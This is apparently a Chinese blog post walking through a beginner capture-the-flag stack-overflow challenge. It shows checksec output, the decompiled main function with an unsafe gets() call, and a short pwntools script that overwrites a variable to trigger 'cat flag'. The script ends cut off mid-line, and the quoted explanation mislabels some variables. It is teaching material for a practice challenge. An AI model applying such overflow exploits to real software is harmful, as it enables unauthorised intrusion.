最近在自学Pwn 所以就先去攻防世界上试试水 我看了看 前面基本没有涉及到啥好讲的 所以先给大家讲一个简单的溢出吧
题目
首先咱们先开启环境 下载好文件 首先咱们先直接Checksec

retr0@DESKTOP-RS7CEJ9:~$ checksec gfsj1
[*] '/home/retr0/gfsj1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

我们可以发现 这是一个64位的程序 并且开了NX
之后 咱们直接Netcat链接下 看看是什么程序

What's Your Birth?
1333
What's Your Name?
1233
You Are Born In 1333
You Are Naive.
You Speed One Second Here.

我们可以看到 这是一个测你的年龄的文件?当然没那么简单 咱们直接拖到IDA去

IDA
直接找到main函数 反编译
main
反编译后 结果如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char v4; // [rsp+0h] [rbp-20h]
  unsigned int v5; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &v5);
  while ( getchar() != 10 )
    ;
  if ( v5 == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets(&v4);
    printf("You Are Born In %d\n", v5);
    if ( v5 == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
  }
  return result;
}
> ```如果第一次输入的v6=1926,则程序直接跳过cat flag,因此第一次输入v6的值为1926,但是程序在
else里面要判断v6 == 1926,如此矛盾之下,当然想到了溢出覆盖了,这里是栈溢出,观察代码中的溢
出点,发现get(&v5)这个地方可以作为溢出点(get函数没有做任何限制),只需要在输入v5(name)
的时候覆盖掉原来的v6的值,替换为1926即可达到目的,cat flag[摘抄于writeup]

后面 查看完v5和v6之间相差的字节 就可以开始编写exp了
exp构造如下

from pwn import *
r = remote("[ip]", port)
payload = 'a' * (0x20 - 0x18) + p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
print r.recv()
print r.recv(
最后修改:2021 年 04 月 07 日 05 : 32 PM
如果觉得我的文章对你有用,请随意赞赏